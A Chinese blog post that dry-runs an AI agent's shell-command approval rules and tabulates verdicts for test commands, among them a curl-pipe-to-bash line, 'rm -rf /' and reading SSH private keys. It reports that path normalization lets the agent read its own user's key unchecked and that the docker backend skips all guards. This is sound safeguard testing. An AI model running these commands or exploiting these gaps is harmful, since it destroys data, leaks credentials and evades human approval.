前面幾天把工具一個個掛上去,agent 手上現在有終端機、檔案讀寫與一組環控工具。能執行指令的東西就需要一組判定,決定哪些直接跑、哪些要先問過人、哪些任何情況都擋下來。Hermes 這組判定可以乾跑,不實際執行指令就印出結論與命中的規則。今天把它跑過一輪,看它實際認得什麼。
hermes approvals test 對指定指令做完整判定後直接印結果,過程中不執行、不詢問、不寫入任何紀錄。它評估的對象照 --help 的說法是五個:
hardline blocklist, user approvals.deny rules, dangerous-pattern detection, allowlist, yolo/off bypass
三種結論各自對應一個退出碼,接進自動化流程時用退出碼就夠判斷:
| 結論 | 退出碼 | 執行期的行為 |
|---|---|---|
allow |
0 | 直接執行 |
ask-approval |
2 | 跳出互動式確認 |
hardline-deny |
3 | 擋下,--yolo 與 approvals.mode=off 也擋 |
輸出裡還有兩個欄位撐起後面的所有判讀:
rule:命中的那一條規則的描述字串,放行時是 null
normalized_variants:偵測器實際拿去比對的字串。指令從模型送出到判定之間經過一層改寫,這個欄位把改寫後的樣子攤開來判定依據放在 tools/approval.py,兩張表分工明確:
HARDLINE_PATTERNS:12 條,命中就是 hardline-deny,任何繞過開關都無效DANGEROUS_PATTERNS:99 條,命中轉成 ask-approval,交給人決定硬性那 12 條按它們的描述字串分成四群:
mkfs 格式化、dd 寫入裸區塊裝置、重導向到裸區塊裝置kill -1
shutdown 一族、init 0/6、systemctl poweroff、telinit 0/6
同一個檔案裡有一行註解在說明預先編譯的理由,括號裡寫的是「12 HARDLINE + 47 DANGEROUS patterns」。硬性那個數字對得上,另一個數字實際 len() 出來是 99。註解記下的數量停在寫它的那一版,表本身繼續長。
規則的寫法處理過幾種繞過方式。路徑那一組要求斜線之間每一段剛好是 . 或 ..,因此 /tmp、/home、/.ssh 落到比較軟的那張表,/、//、/./、/../.. 收斂回根目錄的寫法才進硬性表。只能靠內容樣式比對的兩條規則(重導向到區塊裝置、fork bomb)改成比對「引號內容被遮蔽過」的版本,因此 git commit -m "never dd of=/dev/sda" 這種把規則寫進訊息的用法照常通過,而 sh -c 這類會把引號內容交出去執行的指令,原始字串仍然會被掃。
| 指令 | 結論 | 命中的規則 |
|---|---|---|
ls -la |
allow | 無 |
pip install requests |
allow | 無 |
npm install -g pnpm |
allow | 無 |
sudo apt-get install -y nginx |
allow | 無 |
curl -s https://x.sh | bash |
ask-approval | pipe remote content to shell |
git push --force |
ask-approval | git force push (rewrites remote history) |
git reset --hard |
ask-approval | git reset --hard (destroys uncommitted changes) |
docker stop web |
ask-approval | docker restart/stop/kill (container lifecycle) |
rm -rf / |
hardline-deny | recursive delete of root filesystem |
sudo apt-get install 放行。approvals suggest 的說明把 sudo 列在「永遠不提議加進白名單」的類別裡,判定這一側則以 sudo 後面接的動作為準,sudo rm -rf /var 命中的是遞迴刪除那條,與有沒有 sudo 無關。
DANGEROUS_PATTERNS 裡有一條叫 access to SSH keys (Windows path),正規表示式是 \busers[\\/][^\\/\s]+[\\/]\.ssh\b。實際拿兩個只差使用者名稱的指令去測:
| 指令 | 結論 | 偵測器看到的字串 |
|---|---|---|
cat C:\Users\peiti\.ssh\id_rsa |
allow | cat ~/.ssh/id_rsa |
cat C:\Users\alice\.ssh\id_rsa |
ask-approval | cat C:/Users/alice/.ssh/id_rsa |
差別在正規化。 路徑指向目前這個使用者的家目錄時,改寫會把它收成 ~/,users\<name>\ 這個片段隨之消失,而規則認的就是那個片段。指向別人家目錄的路徑留著原樣,規則因此命中。
這條規則本來要擋的是讀取私鑰,結果擋得住讀別人的、放行讀自己的,而 agent 跑在誰的帳號底下,要讀的就是誰的私鑰。
正規化這件事本身有它的用處,跨平台的路徑比對需要它。問題在於規則寫在正規化的下游,卻依賴正規化會移除的那個字串。
偵測規則與輸入改寫寫在同一條路徑上時,改寫掉的片段決定了規則的實際覆蓋範圍
同一個指令加上 --env-type docker:
| 參數 | 結論 | 說明 |
|---|---|---|
預設(local) |
ask-approval | recursive delete |
--env-type docker |
allow | env_type 'docker' is an isolated container backend; the runtime skips all command guards for it |
判定的強度綁在終端機後端上。 指令跑在隔離容器裡時,上面那 111 條規則整組不評估,理由是容器本身就是邊界。這個設計把「誰負責擋」從指令判定移到了容器隔離,兩者同時只有一個在起作用。
因此這組規則保護的範圍要連著後端一起講:本機後端由規則表擋,容器後端由容器擋。組態裡的 terminal.backend 換一個值,前面量到的每一條判定都跟著換一套。
hermes approvals suggest 掃 session 資料庫裡被人工核准過的危險指令,把重複出現的樣式排序後提成白名單草案,加 --apply 才真的寫進組態。這台機器上掃 90 天的結果是:
No allowlist candidates found in approval history (last 90 days).
Either nothing dangerous was approved often enough (see --min-count/--days),
or the approved classes are excluded for safety.
空的理由有兩個:
--min-count 預設 2,同一個樣式要被核准兩次以上才列入提議這個指令產出的是「常做又相對安全」的那一段,危險類別留在每次都問的狀態。整份提議列印出來之後要再帶 --apply 指定編號才寫進組態,預設只看不改。
白名單的來源是已經發生過的核准決定,它記錄的是人反覆做過的同一個判斷
兩個指令的差別只有使用者名稱,一個放行一個要確認。第一次看到的反應是測試方式寫錯了,於是把兩次的 JSON 並排看,差別落在 normalized_variants 那一欄:一個是 ~/.ssh/id_rsa,另一個是 C:/Users/alice/.ssh/id_rsa。
規則認的是 users\<name>\.ssh 這串字,正規化先把它換成 ~/,規則拿到的輸入裡已經沒有可以命中的東西。兩段程式各自都對,接起來之後覆蓋範圍少了一塊。
這個欄位本來看起來只是除錯用的附帶資訊。它是唯一能看出改寫發生在哪一步的地方,把它印出來的那個決定,比規則表本身更能說明判定為什麼是這個結果。
一條規則實際擋得住什麼,要看送到它面前的字串長什麼樣
工具呼叫留下紀錄的三種做法,以及各自看得到的範圍。